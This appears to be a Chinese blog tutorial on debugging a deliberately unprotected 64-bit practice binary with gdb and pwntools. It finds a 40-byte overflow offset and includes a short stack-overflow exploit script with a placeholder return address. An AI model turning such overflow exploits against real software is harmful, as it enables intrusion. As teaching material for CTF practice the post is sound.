【Pwn】使用gdb附加调试64位程序

elf,是Linux的主要可执行文件格式

可通过 pwntools的gdb模块 完成 elf文件的动态调试工作

其中最常用的是attach函数,在指定process之后可以attach上去调试,配合proc模块就可以得到对应进程的pid

pwntools开发脚本时如何调试:

1.使用proc.pidof(p)函数,将被测函数的pid打印出来

2.用gdb attach上去调试即可

例:

编译:各种保护都不加(64位)

打开两个终端:一个用来调试,另一个用来运行python脚本。

1终端:

可以看一眼汇编代码:objdump -d -M intel ./text

调试:gdb text

(这里用的peda)

pattern create 200

复制随机生成的字符串

r

粘贴字符串

回车

发现在ret处暂停,发现了错误

找到栈的最低地址处前四个字节,这里即为将要跳转的地方

pattern offset 四个字节

看到偏移为40

写出exp:

from pwn import *

context(os = 'linux',arch = 'amd64',log_level = 'debug')        //实时获取debug,可注释

p = process("./test")

print "pid" + str(proc.pidof(p))

offset = 40

payload = offset * 'a' + p64(0xxxxxx)

#pause()        //pause要在sendline前面,用于调试

p.sendline(payload)

p.interactive()

终端2:

python exp.py

成功

若不成功

将pause取消注释,进行调试        //这里用正确的exp为例

将gdb附加到进程上面

终端2:

python exp.py

//进程已创建,pid也打印出来了

终端1:

gdb -attach 打印出的pid

终端2:

回车        //继续运行,发送process

终端1:

n        //一直向下单步执行

直到看到call getline函数

执行完此函数,看到rcx中出现了一堆a,说明已经获取到payload了

继续向下单步执行

看到gets函数执行完毕,几个寄存器全被覆盖为a

直到运行完ret,发现返回到了exploit函数

成功

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值